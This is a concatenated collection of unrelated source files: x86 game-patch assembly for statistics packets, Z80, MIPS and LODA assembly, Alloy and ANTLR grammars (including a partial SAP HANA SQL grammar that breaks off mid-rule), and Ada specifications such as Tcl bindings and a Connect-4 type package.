call 0x005A22D0 ; PacketClass::Add_Field(FieldClass *)
; write 'ALY'
mov byte [0x0070FD0C], 0x41
mov byte [0x0070FD0D], 0x4c
mov byte [0x0070FD0E], 0x59
; player number
mov byte [0x0070FD0F], bl
mov edi, [esi+0x578] ; value
push 10h
call 0x006B51D7 ; operator new(uint)
add esp, 4
test eax, eax
jz .new_failed2
push edi
push 0x0070FD0C
mov ecx, eax
call 0x00498A70 ; FieldClass::FieldClass(char *,ulong)
jmp short .Write_Spawns
.new_failed2:
xor eax, eax
.Write_Spawns:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ; PacketClass::Add_Field(FieldClass *)
; write 'SPA'
mov byte [0x0070FD0C], 0x53
mov byte [0x0070FD0D], 0x50
mov byte [0x0070FD0E], 0x41
; player number
mov byte [0x0070FD0F], bl
mov edi, [esi+0x20] ; value
mov edi, [SpawnLocationsArray+edi*4]
push 10h
call 0x006B51D7 ; operator new(uint)
add esp, 4
test eax, eax
jz .new_failed3
push edi
push 0x0070FD0C
mov ecx, eax
call 0x00498A70 ; FieldClass::FieldClass(char *,ulong)
jmp short .ret
.new_failed3:
xor eax, eax
.ret:
; Reset field name to 'COL'
mov byte [0x0070FD0C], 0x43
mov byte [0x0070FD0D], 0x4f
mov byte [0x0070FD0E], 0x4c
push eax
lea ecx, [esp+0x18]
jmp 0x00609F45
hack 0x00609825, 0x0060982F
_Send_Statistics_Packet_Write_MapHash:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ; PacketClass::Add_Field(FieldClass *)
push 10h
call 0x006B51D7 ; operator new(uint)
add esp, 4
test eax, eax
jz .new_failed4
push MapHash
push str_HASH
mov ecx, eax
call 0x00498AD0 ; FieldClass::FieldClass(char *, char *)
jmp .ret
.new_failed4:
xor eax, eax
.ret:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ; PacketClass::Add_Field(FieldClass *)
jmp hackend
AddMyIdField:
add bl, 0x30
mov eax, dword[PlayerPtr]
cmp eax, esi
jnz .out
push 0x10
call 0x006B51D7 ; OperatorNew
add esp, 4
test eax, eax
jz .fail
xor ecx, ecx
mov cl, bl
sub cl, '0'
push ecx
push str_MyIdField
mov ecx, eax
call 0x00498A70 ; FieldClass::FieldClass
jmp .noFail
.fail:
xor eax, eax
.noFail:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ;PacketClass__Add_Field
.out:
push 0x10
jmp 0x00609D78
AddACCNField:
call 0x005A22D0
push 0x10
call 0x006B51D7 ; OperatorNew
add esp, 4
cmp eax, edi
je .fail
mov ecx, dword[PlayerPtr]
lea ecx, [ecx+0x10DE4] ; 0x10DE4 = HC_PLAYER_NAME
push ecx
push str_AccountNameField
mov ecx, eax
call 0x00498AD0 ; FieldClass__FieldClass_String
jmp .noFail
.fail:
xor eax, eax
.noFail:
push eax
lea ecx, [esp+0x18]
call 0x005A22D0 ;PacketClass__Add_Field
jmp 0x00609802
UseInternalMapNameInsteadFilename:
mov ecx, dword[0x7E2438]
add ecx, 0x904
push ecx
jmp 0x00609815
_Execute_DoList_Send_Statistics_Game_Leave2:
mov edx, [SessionType]
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Send
.Send:
jmp 0x005B4FDE
.Dont_Send:
jmp 0x005B500C
.Normal_Code:
mov edx, [SessionType]
cmp edx, 4
jnz .Dont_Send
jmp .Send
_Execute_DoList_Send_Statistics_Game_Leave:
mov edx, [SessionType]
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp 0x005B4FB9
.Dont_Send:
jmp 0x005B500C
.Normal_Code:
mov edx, [SessionType]
cmp edx, 4
jnz .Dont_Send
jmp 0x005B4FB9
_sub_508A40_Send_Statistics_Spawner2:
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Send
.Send:
jmp 0x00509283
.Dont_Send:
jmp 0x005092A5
.Normal_Code:
cmp dword [SessionType], 4
jnz .Dont_Send
jmp .Send
_sub_508A40_Send_Statistics_Spawner1:
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Send
.Send:
jmp 0x00509229
.Dont_Send:
jmp 0x0050924B
.Normal_Code:
cmp dword [SessionType], 4
jnz .Dont_Send
jmp .Send
_Queue_AI_Multiplayer_Send_Statistics_Spawner:
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Send
.Send:
jmp 0x005B1EA0
.Dont_Send:
jmp 0x005B1F21
.Normal_Code:
cmp dword [SessionType], 4
jnz .Dont_Send
jmp .Send
_sub_5B4290_Send_Statistics_Spawner:
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Send
.Send:
jmp 0x005B433C
.Dont_Send:
jmp 0x005B439F
.Normal_Code:
cmp dword [SessionType], 4
jnz .Dont_Send
jmp .Send
_Send_Statistics_Packet_Write_Statistics_Dump:
cmp dword [SpawnerActive], 0
jz .Normal_Code
call Write_Stats_File
mov dword [StatisticsPacketSent], 1
jmp 0x0060A7DF
.Normal_Code:
mov edx, [0x0080CA48]
jmp 0x0060A7A2
Write_Stats_File:
push ebp
mov ebp, esp
%define stats_buf EBP-4
%define stats_length EBP-4-4
%define stats_file EBP-4-4-256
sub esp,4+4+256
lea ebx, [stats_buf]
mov [ebx], eax
lea ebx,[stats_length]
mov edx, [0x0080CA48] ; packet size
mov [ebx],edx
lea ecx,[stats_file]
push str_stats_dmp
call FileClass__FileClass
push 3
lea ecx, [stats_file]
call FileClass__Open
test eax, eax
je .exit
mov ebx, [stats_length]
push ebx
mov edx,[stats_buf]
push edx
lea ecx, [stats_file]
CALL FileClass__Write
lea ecx,[stats_file]
CALL FileClass__Close
.exit:
MOV eax,1
mov esp,ebp
pop ebp
retn
_HouseClass__HouseClass_Allocate_UnitTrackerClass_Stuff:
cmp dword [SpawnerActive], 0
jz .Normal_Code
cmp dword [SessionType], 0
jz .Normal_Code
jmp .Allocate
.Normal_Code:
jmp .Allocate
.Allocate:
jmp 0x004BAC39
.Dont_Allocate:
jmp 0x004BADB0
%ifdef STATS
@SET 0x0042F79E, { cmp eax, 3 }
@SET 0x00457E7A, { cmp dword[SessionType], 3 }
@SET 0x004C220B, { cmp dword[SessionType], 3 }
@SET 0x004C2255, { cmp dword[SessionType], 3 }
@SET 0x004C229F, { cmp dword[SessionType], 3 }
@SET 0x004C22E5, { cmp dword[SessionType], 3 }
@SET 0x0063388A, { cmp dword[SessionType], 3 }
@SET 0x006338F4, { cmp dword[SessionType], 3 }
@SET 0x0063395C, { cmp dword[SessionType], 3 }
@SET 0x00633928, { cmp dword[SessionType], 3 }
%endif
|
libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciy_hypot_callee.asm | meesokim/z88dk | 0 | 173332 | <filename>libsrc/_DEVELOPMENT/math/float/math48/c/sdcc_iy/cm48_sdcciy_hypot_callee.asm
; float hypot(float x, float y) __z88dk_callee
SECTION code_fp_math48
PUBLIC cm48_sdcciy_hypot_callee, l0_cm48_sdcciy_hypot_callee
EXTERN am48_hypot, cm48_sdcciyp_dcallee2, cm48_sdcciyp_m482d
cm48_sdcciy_hypot_callee:
call cm48_sdcciyp_dcallee2
; AC'= y
; AC = x
l0_cm48_sdcciy_hypot_callee:
call am48_hypot
jp cm48_sdcciyp_m482d
|
models/amalgam/paper/simplem.als | transclosure/Amalgam | 4 | 642 | module chapter6/memory/abstractMemory [Addr, Data] ----- the model from page 217
sig Memory {
data: Addr -> lone Data
}
pred init [m: Memory] {
no m.data
}
pred write [m, m': Memory, a: Addr, d: Data] {
m'.data = m.data ++ a -> d
}
pred read [m: Memory, a: Addr, d: Data] {
let d' = m.data [a] | some d' implies d = d'
}
fact Canonicalize {
no disj m, m': Memory | m.data = m'.data
}
/*
// This command should not find any counterexample
WriteRead: check {
all m, m': Memory, a: Addr, d1, d2: Data |
write [m, m', a, d1] and read [m', a, d2] => d1 = d2
}
// This command should not find any counterexample
WriteIdempotent: check {
all m, m', m": Memory, a: Addr, d: Data |
write [m, m', a, d] and write [m', m", a, d] => m' = m"
}
*/
run {}
|
oeis/003/A003188.asm | neoneye/loda-programs | 11 | 176537 | ; A003188: Decimal equivalent of Gray code for n.
; Submitted by <NAME>(s1)
; 0,1,3,2,6,7,5,4,12,13,15,14,10,11,9,8,24,25,27,26,30,31,29,28,20,21,23,22,18,19,17,16,48,49,51,50,54,55,53,52,60,61,63,62,58,59,57,56,40,41,43,42,46,47,45,44,36,37,39,38,34,35,33,32,96,97,99,98,102,103,101,100,108,109,111,110,106,107,105,104,120,121,123,122,126,127,125,124,116,117,119,118,114,115,113,112,80,81,83,82
mov $2,1
lpb $0
mov $3,$0
div $0,2
add $3,$0
mod $3,2
mul $3,$2
add $1,$3
mul $2,2
lpe
mov $0,$1
|
src/laconic/laconic_meta/Laconic.g4 | ricsonc/parsimony | 0 | 4397 | grammar Laconic;
// The grammar for the Laconic language.
prog: trueprog;
trueprog: (command)* EOF ;
command: (funcdef | procdef | declare | nondefcommand) ;
nondefprog: (nondefcommand)* ;
nondefcommand: (funcproccall | whileloop | forloop | ifstate | ifelsestate | assign | returnstate | printstate) ;
funcdef: 'func' funcprocbody ;
procdef: 'proc' funcprocbody ;
funcprocbody: funcproccallbody '{' nondefprog '}' ;
declare: (intdecl | listdecl | list2decl) ;
intdecl: 'int' VAR ';' ;
listdecl: 'list' VAR ';' ;
list2decl: 'list2' VAR ';' ;
funcproccall: funcproccallbody ';' ;
funcproccallbody: VAR '(' ( VAR ',' )* VAR ')' ;
whileloop: 'while' '(' whileexpr ')' '{' whilenondefprog '}' ;
forloop: 'for' '(' nondefcommand ';' expr ';' nondefcommand ')' '{' nondefprog '}' ;
ifstate: 'if' '(' ifexpr ')' '{' ifnondefprog '}' ;
printstate: 'print' VAR ';' ;
ifelsestate: 'ifelse' '(' ifelseexpr ')' '{' ifelsenondefprog '}' '{' elsenondefprog '}' ;
ifelsenondefprog: nondefprog ;
elsenondefprog: nondefprog ;
ifnondefprog: nondefprog ;
whilenondefprog: nondefprog ;
ifelseexpr: intexpr ;
ifexpr: intexpr ;
whileexpr: intexpr ;
expr: (intexpr | listexpr | list2expr) ;
assign: VAR '=' expr ';' ;
returnstate: ('return' | 'halt') ';' ;
intexpr: intexpr OPERATOR_MUL_DIV intexpr // intop DONE
| intexpr OPERATOR_ADD_SUB intexpr // intop DONE
| intexpr OPERATOR_COMPARE intexpr // intop DONE
| intexpr OPERATOR_BOOLEAN intexpr // intop DONE
| listexpr OPERATOR_INDEX intexpr // listindex DONE
| OPERATOR_NOT intexpr // intnot DONE
| '(' intexpr ')' // DONE
| OPERATOR_NEGATE intexpr // intneg DONE
| OPERATOR_LENGTH listexpr // len DONE
| OPERATOR_LENGTH2 list2expr // len2 DONE
| INT // intint DONE
| VAR // intvar DONE
;
listexpr: list2expr OPERATOR_INDEX2 intexpr // list2index DONE
| listexpr OPERATOR_APPEND intexpr // listappend DONE
| listexpr OPERATOR_CONCAT listexpr // listconcat DONE
| '(' listexpr ')' // DONE
| BEGIN_LIST (intexpr ',')* intexpr END_LIST // constlist DONE
| BEGIN_LIST END_LIST // emptylist DONE
| VAR // listvar DONE
;
list2expr: list2expr OPERATOR_APPEND2 listexpr // list2append DONE
| list2expr OPERATOR_CONCAT2 list2expr // list2concat
| '(' list2expr ')' // DONE
| BEGINEND_LIST2 (listexpr ',')* listexpr BEGINEND_LIST2 // constlist2 DONE
| BEGINEND_LIST2 BEGINEND_LIST2 // emptylist2 DONE
| VAR // list2var DONE
;
OPERATOR_MUL_DIV: ('*' | '/' | '%') ;
OPERATOR_ADD_SUB: ('+' | '-') ;
OPERATOR_NEGATE: ('~') ;
OPERATOR_COMPARE: ('==' | '!=' | '>' | '<' | '>=' | '<=') ;
OPERATOR_BOOLEAN: ('&' | '|') ;
OPERATOR_NOT: ('!') ;
OPERATOR_APPEND: ('^') ;
OPERATOR_APPEND2: ('^*') ;
OPERATOR_CONCAT: ('||') ;
OPERATOR_CONCAT2: ('||*') ;
OPERATOR_INDEX: ('@') ;
OPERATOR_INDEX2: ('@*') ;
OPERATOR_LENGTH: ('#') ;
OPERATOR_LENGTH2: ('#*') ;
BEGIN_LIST: ('[');
END_LIST: (']');
BEGINEND_LIST2: ':';
COMMENT : '/*'.*?'*/' -> skip;
WS : [\t\n\r ]+ -> skip;
VAR : [a-zA-Z_] [a-zA-Z0-9_]* ;
INT : [0-9]+ ;
|
MIPS_CPU/P2/matrix.asm | CPUmaker/ComputerOrganizationDesign | 1 | 80048 | <reponame>CPUmaker/ComputerOrganizationDesign<gh_stars>1-10
.data
matrixA: .space 256
matrixB: .space 256
matrixC: .space 256
str_enter: .asciiz "\n"
str_space: .asciiz " "
.macro print_int(%x)
li $v0, 1
add $a0, $zero, %x
syscall
.end_macro
.macro print_str(%x)
li $v0, 4
add $a0, $zero, %x
syscall
.end_macro
.macro scan_int()
li $v0, 5
syscall
.end_macro
.macro calc_addr(%dst, %row, %column, %rank)
multu %rank, %row
mflo %dst
addu %dst, %dst, %column
sll %dst, %dst, 2
.end_macro
.text
scan_int()
move $s0, $v0
move $s1, $0
initLoop1:
bge $s1, $s0, initLoop1End
move $s2, $0
initLoop2:
bge $s2, $s0, initLoop2End
calc_addr($s3, $s1, $s2, $s0)
scan_int()
sw $v0, matrixA($s3)
addiu $s2, $s2, 1
j initLoop2
initLoop2End:
addiu $s1, $s1, 1
j initLoop1
initLoop1End:
move $s1, $0
initLoop3:
bge $s1, $s0, initLoop3End
move $s2, $0
initLoop4:
bge $s2, $s0, initLoop4End
calc_addr($s3, $s1, $s2, $s0)
scan_int()
sw $v0, matrixB($s3)
addiu $s2, $s2, 1
j initLoop4
initLoop4End:
addiu $s1, $s1, 1
j initLoop3
initLoop3End:
move $s1, $0
loop1:
bge $s1, $s0, loop1End
move $s2, $0
loop2:
bge $s2, $s0, loop2End
move $t0, $0
move $t4, $0
addLoop:
bge $t0, $s0, addLoopEnd
calc_addr($s3, $s1, $t0, $s0)
lw $t1, matrixA($s3)
calc_addr($s3, $t0, $s2, $s0)
lw $t2, matrixB($s3)
multu $t1, $t2
mflo $t3
addu $t4, $t4, $t3
addiu $t0, $t0, 1
j addLoop
addLoopEnd:
calc_addr($s3, $s1, $s2, $s0)
sw $t4, matrixC($s3)
addiu $s2, $s2, 1
j loop2
loop2End:
addiu $s1, $s1, 1
j loop1
loop1End:
move $s1, $0
loop3:
bge $s1, $s0, loop3End
move $s2, $0
loop4:
bge $s2, $s0, loop4End
calc_addr($s3, $s1, $s2, $s0)
lw $t0, matrixC($s3)
print_int($t0)
la $s3, str_space
print_str($s3)
addiu $s2, $s2, 1
j loop4
loop4End:
la $s3, str_enter
print_str($s3)
addiu $s1, $s1, 1
j loop3
loop3End:
li $v0, 10
syscall
|
cmake-modules/ada/CMakeAdaCompilerABI.adb | jleopold28/snippets-and-notes | 0 | 10348 | <filename>cmake-modules/ada/CMakeAdaCompilerABI.adb
--I am pretty sure that due to CMake and Ada's object compile destination incompatibility during configuration initialization, this method of determining ABI will never work with CMake 2.8.7 downward.
with Text_Io;
use Text_Io;
procedure CMakeAdaCompilerABI is
default : Boolean := True;
begin
-- Address Size
if default then
Put("INFO:sizeof_dptr[8]");
else
Put("INFO:sizeof_dptr[4]");
end if;
-- Application Binary Interface
if default then
Put("INFO:abi[ELF]");
else
Put("INFO:abi[ERROR]");
end if;
Put("ABI Detection");
end CMakeAdaCompilerABI;
|
tools/scitools/conf/understand/ada/ada83/llio.ads | brucegua/moocos | 1 | 24915 | package low_level_io is
type devicetype is (console_printer_data,
console_printer_control,
console_keyboard_data,
console_keyboard_control);
subtype datatype is character;
type console_control_type is new integer;
procedure send_control(device : devicetype; data : in out datatype);
procedure receive_control(device : devicetype; data : in out datatype);
procedure send_control(device : devicetype; data : in console_control_type);
procedure receive_control(device : devicetype; data : in console_control_type);
end;
|
4inline/conecta4.ads | iyan22/AprendeAda | 0 | 21217 | <filename>4inline/conecta4.ads
package conecta4 is
Max_Columnas: constant integer:=9;
Max_Filas: constant Integer:=6;
type T_celda is (Rojo, Azul, Nada);
subtype T_Ficha is T_celda range Rojo..Azul;
subtype T_Fila is Integer range 1..Max_Filas;
subtype T_Columna is Integer range 1..Max_Columnas;
type T_Tablero is array (T_Fila,T_Columna) of T_Celda;
end conecta4; |
src/tcl-commands.ads | thindil/tashy2 | 2 | 27185 | -- Copyright (c) 2020-2021 <NAME> <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
with Interfaces.C; use Interfaces.C;
with Interfaces.C.Pointers;
with Interfaces.C.Strings; use Interfaces.C.Strings;
with System; use System;
-- ****h* Tcl/Commands
-- FUNCTION
-- Provide code to manipulate Tcl commands (adding, deleting, etc)
-- SOURCE
package Tcl.Commands with
SPARK_Mode => Off
is
-- ****
-----------------------------
-- Creating a new Tcl command
-----------------------------
--## rule off REDUCEABLE_SCOPE
-- ****t* Commands/Commands.Argv_Pointer
-- FUNCTION
-- Used to store arguments of the selected Tcl command
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
package Argv_Pointer is new Interfaces.C.Pointers
(Index => size_t, Element => chars_ptr, Element_Array => chars_ptr_array,
Default_Terminator => Null_Ptr);
-- ****
-- ****t* Commands/Commands.Tcl_Cmd_Proc
-- FUNCTION
-- The Ada code which will be executed when the selected command will be
-- invoked.
-- PARAMETERS
-- Cliend_Data - Generally unused
-- Interpreter - The Tcl interpreter on which the command was invoked
-- Argc - The number of arguments passed to the command. Minimum one.
-- Argv - The pointer to the list of arguments passed to the command.
-- The first element is always the name of invoked procedure
-- RESULT
-- Should be one of TCL_OK, TCL_ERROR, TCL_RETURN, TCL_BREAK, TCL_CONTINUE
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
type Tcl_Cmd_Proc is access function
(Client_Data: System.Address; Interpreter: Tcl_Interpreter;
Argc: Positive; Argv: Argv_Pointer.Pointer) return Tcl_Results with
Convention => C;
-- ****
-- ****d* Commands/Commands.Null_Tcl_Cmd_Proc
-- FUNCTION
-- Null Tcl command procedure
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
Null_Tcl_Cmd_Proc: constant Tcl_Cmd_Proc := null;
-- ****
-- ****t* Commands/Commands.Tcl_Cmd_Delete_Proc
-- FUNCTION
-- The Ada code which will be executed when the selected command will be
-- deleted.
-- PARAMETERS
-- Client_Data - Generally unused
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
type Tcl_Cmd_Delete_Proc is access procedure
(Client_Data: System.Address) with
Convention => C;
-- ****
-- ****d* Commands/Commands.Null_Tcl_Cmd_Delete_Proc
-- FUNCTION
-- Null Tcl command delete procedure
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
Null_Tcl_Cmd_Delete_Proc: constant Tcl_Cmd_Delete_Proc := null;
-- ****
-- ****t* Commands/Commands.Tcl_Command
-- FUNCTION
-- The pointer to a Tcl command
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
type Tcl_Command is new System.Address;
-- ****
-- ****d* Commands/Commands.Null_Tcl_Command
-- FUNCTION
-- Null Tcl command
-- HISTORY
-- 8.6.0 - Added
-- SOURCE
Null_Tcl_Command: constant Tcl_Command := Tcl_Command(System.Null_Address);
-- ****
-- ****f* Commands/Commands.Tcl_Create_Command
-- FUNCTION
-- Add a new Tcl command to the selected Tcl interpreter
-- PARAMETERS
-- Command_Name - The name of the Tcl command to add
-- Proc - The code of the Tcl command to add
-- Interpreter - The Tcl interpreter to which the command will be added.
-- By default it is the default Tcl interpreter
-- Delete_Proc - The code which will be executed on deleting Tcl command.
-- Default value is null
-- RESULT
-- The pointer to the newly created Tcl command or Null_Tcl_Command is the
-- command can't be created
-- HISTORY
-- 8.6.0 - Added
-- EXAMPLE
-- -- Add command MyProc with Ada function My_Command as code on default interpreter without deleting code
-- My_Command: constant Tcl_Command := Tcl_Create_Command("MyProc", My_Command'Access);
-- SOURCE
function Tcl_Create_Command
(Command_Name: String; Proc: Tcl_Cmd_Proc;
Interpreter: Tcl_Interpreter := Get_Interpreter;
Delete_Proc: Tcl_Cmd_Delete_Proc := Null_Tcl_Cmd_Delete_Proc)
return Tcl_Command with
Pre => Command_Name'Length > 0 and Proc /= Null_Tcl_Cmd_Proc and
Interpreter /= Null_Interpreter,
Test_Case => (Name => "Test_Tcl_CreateCommand", Mode => Nominal);
-- ****
-----------------------------------------
-- Manipulating a Tcl command arguments
-----------------------------------------
-- ****f* Commands/Commands.Get_Argument
-- FUNCTION
-- Get the selected argument from the arguments list
-- PARAMETERS
-- Arguments_Pointer - C pointer to the list of arguments from which the
-- argument will be taken
-- Index - Index of the argument to take
-- RESULT
-- The selected argument from the list
-- HISTORY
-- 8.6.0 - Added
-- EXAMPLE
-- -- Get the name of the Tcl command (always the first argument) from My_Arguments pointer
-- Proc_Name: constant String := Get_Argument(My_Arguments, 0);
-- SOURCE
function Get_Argument
(Arguments_Pointer: not null Argv_Pointer.Pointer; Index: Natural)
return String;
-- ****
--## rule on REDUCEABLE_SCOPE
end Tcl.Commands;
|
Qsi.Hana/Antlr/HanaParserInternal.g4 | ScriptBox99/chequer-qsi | 36 | 816 | parser grammar HanaParserInternal;
options {
tokenVocab=HanaLexerInternal;
}
@header {
using Qsi.Data;
using Qsi.Tree;
using Qsi.Utilities;
}
root
: EOF
| (hanaStatement (SEMI EOF? | EOF))+
;
hanaStatement
: dataManipulationStatement
| dataDefinitionStatement
| sessionManagementStatement
;
dataManipulationStatement
: deleteStatement
// | explainPlanStatement
| insertStatement
// | loadStatement
| mergeDeltaStatement
| mergeIntoStatement
| replaceStatement
| selectIntoStatement
| selectStatement[true]
// | truncateTableStatement
// | unloadStatement
| updateStatement
;
dataDefinitionStatement
: createViewStatement
;
sessionManagementStatement
: setSchemaStatement
;
// ------ SQL Reference > SQL Statements > Alpabetical List of Statements > SELECT Statement ------
selectIntoStatement
: selectStatement[false] K_INTO (tableRef | variableNameList) columnListClause? hintClause?
;
selectStatement[bool allowParens]
: withClause? subquery[$allowParens] (forClause | timeTravel)? hintClause?
;
subquery[bool allowParens]
: select = selectClause
from = fromClause
where = whereClause?
groupBy = groupByClause?
set = setOperatorClause?
orderBy = tableOrderByClause?
limit = limitClause?
| {$allowParens}? '(' inner=selectStatement[true] ')'
set = setOperatorClause?
;
setSubquery
: select = selectClause
from = fromClause
where = whereClause?
groupBy = groupByClause?
| '(' inner=selectStatement[true] ')'
;
withClause
: K_WITH elements+=withListElement (',' elements+=withListElement)*
;
withListElement
: name=identifier[null] columnListClause? K_AS '(' subquery[true] ')'
;
columnList returns [IList<QsiQualifiedIdentifier> list]
@init { $list = new List<QsiQualifiedIdentifier>(); }
: n=fieldName { $list.Add($n.qqi); } (',' n=fieldName { $list.Add($n.qqi); })*
;
columnListClause returns [IList<QsiQualifiedIdentifier> list]
: '(' cl=columnList { $list = $cl.list; } ')'
;
forClause
: K_FOR K_SHARE K_LOCK #forShareLockClause
| K_FOR K_UPDATE (K_OF columnListClause)? waitNowait? (K_IGNORE K_LOCKED)? #forUpdateOfClause
| K_FOR (K_JSON | K_XML) forJsonOrXmlOptionListClause? forJsonOrXmlReturnsClause? #forJsonXmlClause
| forSystemTime #forSystemTimeClause
;
forSystemTime
: K_FOR K_SYSTEM_TIME K_AS K_OF value=STRING_LITERAL #forSystemTimeAsOf
| K_FOR K_SYSTEM_TIME K_FROM from=STRING_LITERAL K_TO to=STRING_LITERAL #forSystemTimeFrom
| K_FOR K_SYSTEM_TIME K_BETWEEN lower=STRING_LITERAL K_AND upper=STRING_LITERAL #forSystemTimeBetween
;
waitNowait
: K_WAIT time=unsignedIntegerOrBindParameter
| K_NOWAIT
;
keyValuePair
: key=STRING_LITERAL '=' value=STRING_LITERAL
;
forJsonOrXmlOptionListClause
: '(' options+=keyValuePair (',' options+=keyValuePair)* ')'
;
forJsonOrXmlReturnsClause
: K_RETURNS (
K_VARCHAR '(' unsignedIntegerOrBindParameter ')'
| K_NVARCHAR '(' unsignedIntegerOrBindParameter ')'
| K_CLOB
| K_NCLOB
)
;
timeTravel
: K_AS K_OF K_COMMIT K_ID unsignedIntegerOrBindParameter #commitId
| K_AS K_OF K_UTCTIMESTAMP STRING_LITERAL #timestamp
;
selectClause
: K_SELECT topClause? (K_ALL | K_DISTINCT)? selectList
;
topClause
: K_TOP top=unsignedIntegerOrBindParameter
;
selectList
: items+=selectItem (',' items+=selectItem)*
;
selectItem
: expression alias? #exprItem
| associationExpression alias? #associationExprItem
| (tableName '.')? '*' #wildcardItem
;
columnName returns [QsiIdentifier qi]
: i=identifier[null] { $qi = $i.qi; }
;
fromClause
: K_FROM tables+=tableExpression (',' tables+=tableExpression)*
;
seriesTable
: K_SERIES K_TABLE tableName
;
tableExpression
: '(' inner=tableExpression ')'
| tableRef (K_CROSS K_JOIN crossJoin=tableRef)?
// | systemVersionedTableRef
| subqueryTableExpression
| left=tableExpression joinType? joinCardinality? K_JOIN right=tableExpression K_ON condition
| caseJoin
| lateralTableExpression
| collectionDerivedTable
| tableFunctionExpression
| variableTable
| associationTableExpression
;
subqueryTableExpression
: subquery[true] alias?
;
tableFunctionExpression
: (seriesExpression | functionExpression[true]) alias?
;
tableRef
: tableName (forSystemTime | forApplicationTimePeriod)? partitionRestriction? alias? tableSampleClause?
;
forApplicationTimePeriod
: K_FOR K_APPLICATION_TIME K_AS K_OF { IsQuotedNumeric() }? value=STRING_LITERAL
;
partitionRestriction
: K_PARTITION '(' numbers+=unsignedIntegerOrBindParameter (',' numbers+=unsignedIntegerOrBindParameter)* ')'
;
tableSampleClause
: K_TABLESAMPLE (K_BERNOULLI | K_SYSTEM)? '(' size=numericLiteral ')'
;
hintClause
: K_WITH K_HINT '(' hints+=hintElement (',' hints+=hintElement)* ')'
;
hintElement
: name=UNQUOTED_IDENTIFIER #hintName
| K_ROUTE_TO '(' volumeIds+=unsignedIntegerOrBindParameter (',' volumeIds+=unsignedIntegerOrBindParameter)? ')' #routeTo
| K_NO_ROUTE_TO '(' volumeIds+=unsignedIntegerOrBindParameter (',' volumeIds+=unsignedIntegerOrBindParameter)? ')' #noRouteTo
| K_ROUTE_BY '(' tables+=tableName (',' tables+=tableName)* ')' #routeBy
| K_ROUTE_BY_CARDINALITY '(' tables+=tableName (',' tables+=tableName)* ')' #routeByCardinality
| K_DATA_TRANSFER_COST '(' cost=unsignedIntegerOrBindParameter ')' #rdataTransferCost
;
fieldName returns [QsiQualifiedIdentifier qqi] locals [List<QsiIdentifier> buffer]
@init { $buffer = new List<QsiIdentifier>(); }
@after { $qqi = new QsiQualifiedIdentifier($buffer); }
: identifier[$buffer] ('.' identifier[$buffer] ('.' identifier[$buffer] ('.' identifier[$buffer])?)?)?
;
tableName returns [QsiQualifiedIdentifier qqi] locals [List<QsiIdentifier> buffer]
@init { $buffer = new List<QsiIdentifier>(); }
@after { $qqi = new QsiQualifiedIdentifier($buffer); }
: identifier[$buffer] ('.' identifier[$buffer] ('.' identifier[$buffer])?)?
;
alias returns [QsiAliasNode node]
@after { $node = new QsiAliasNode { Name = $name.qi }; }
: K_AS? name=identifier[null]
;
explicitAlias returns [QsiAliasNode node]
@after { $node = new QsiAliasNode { Name = $name.qi }; }
: K_AS name=identifier[null]
;
associationTableExpression
: tableName ('[' condition ']')? ':' associationExpression alias?
;
associationExpression
: refs+=associationRef ('.' refs+=associationRef)*
;
associationRef
: columnName ('[' (condition associationCardinality?)? ']')?
;
associationCardinality
: K_USING (K_ONE | K_MANY) K_TO (K_ONE | K_MANY) K_JOIN
;
variableName
: identifier[null] ('[' index=numericLiteral ']')?
;
variableNameList
: variableName (',' variableName)*
;
whereClause
: K_WHERE condition
;
groupByClause
: K_GROUP K_BY groupByExpressionList (K_HAVING having=condition)?
;
groupByExpressionList
: (expression | groupingSet) (',' (expression | groupingSet))*
;
groupingSet
: (K_GROUPING K_SETS | K_ROLLUP | K_CUBE)
(K_BEST best=numericLiteral)?
(K_LIMIT limit=unsignedIntegerOrBindParameter (K_OFFSET offset=unsignedIntegerOrBindParameter)?)?
(K_WITH K_SUBTOTAL)?
(K_WITH K_BALANCE)?
(K_WITH K_TOTAL)?
(K_TEXT_FILTER filter=STRING_LITERAL (K_FILL K_UP (K_SORT K_MATCHES K_TO K_TOP)?)?)?
(
K_STRUCTURED K_RESULT (K_WITH K_OVERVIEW)? (K_PREFIX prefixTableName)?
| K_MULTIPLE K_RESULTSETS
)?
'(' groupingExpressionList ')'
;
groupingExpressionList
: items+=groupingExpression (',' items+=groupingExpression)*
;
groupingExpression
: fields+=fieldName
| '(' fields+=fieldName (',' fields+=fieldName)* ')'
| '(' '(' fields+=fieldName (',' fields+=fieldName)* ')' tableOrderByClause ')'
;
prefixTableName
: '#' identifier[null]
;
variableTable
: ':' identifier[null] alias?
;
tableOrderByClause
: K_ORDER K_BY orders+=tableOrderByExpression (',' orders+=tableOrderByExpression)*
;
tableOrderByExpression
: (field=fieldName | position=unsignedIntegerOrBindParameter) collateClause? (K_ASC | K_DESC)? (K_NULLS K_FIRST | K_NULLS K_LAST)?
;
collateClause
: K_COLLATE name=UNICODE_IDENTIFIER
;
setOperator
: K_UNION (K_ALL | K_DISTINCT)?
